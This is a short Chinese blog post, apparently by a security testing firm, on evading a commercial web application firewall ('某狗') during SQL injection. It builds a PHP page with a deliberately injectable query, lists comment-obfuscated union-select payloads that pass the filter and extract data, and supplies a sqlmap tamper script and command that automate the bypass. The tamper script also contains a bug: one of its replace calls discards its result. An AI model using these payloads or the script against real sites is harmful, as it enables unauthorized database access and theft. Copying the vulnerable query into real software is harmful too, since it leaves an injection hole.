某狗注入bypass
1.前言
最近看到不少過WAF的文章,想自己也過一次最新版WAF,先從某狗入手。
2.測試環境
xp虛擬機+phpstudy+某狗最新版
3.編寫注入點
$id=$_GET["id"];
$sql="SELECT id,username,password FROM users WHERE id=$id LIMIT 0,1";
echo "
";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
3.bypass測試
a.將空格替換成/*/*!*//**//*!*/ and/*/*!*//**//*!*/1=1 不攔截
b.id=-1 union/*/*!*//**//*!*/select 1,2,3 不攔截
c.id=-1 union/*/*!*//**//*!*/select 1,user(),3 攔截
d.id=-1 union/*/*!*//**//*!*/select 1,user/*/*!*//**//*!*/(),3 不攔截,並獲取到數據
4.總結
1.某狗對特殊字元格式的注釋未能正確識別,因此可以在關鍵字中間添加/*/*!*//**//*!*/ 來過某狗的檢測;
2.mysql關鍵字中是不能插入/**/的,se/**/lect會報錯,但是函數名和括弧之間是可以加上/**/的,類似user/**/()這樣的代碼可以在mysql資料庫中執行。
5.sqlmap --tamper編寫
dog.py
#!/usr/bin/env
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
payload = payload.replace(" ", "/*/*!*//**//*!*/")
payload.replace("()","/*/*!*//**//*!*/()")
return payload
sqlmap注入:python sqlmap.py -u "http://192.168.63.129/connect.php?id=" --tamper dog.py -v 3 --random-agent --dbs
註:安全狗需關閉CC防禦功能
如需轉載請標明湖南網信測評
TAG:湖南網信測評 |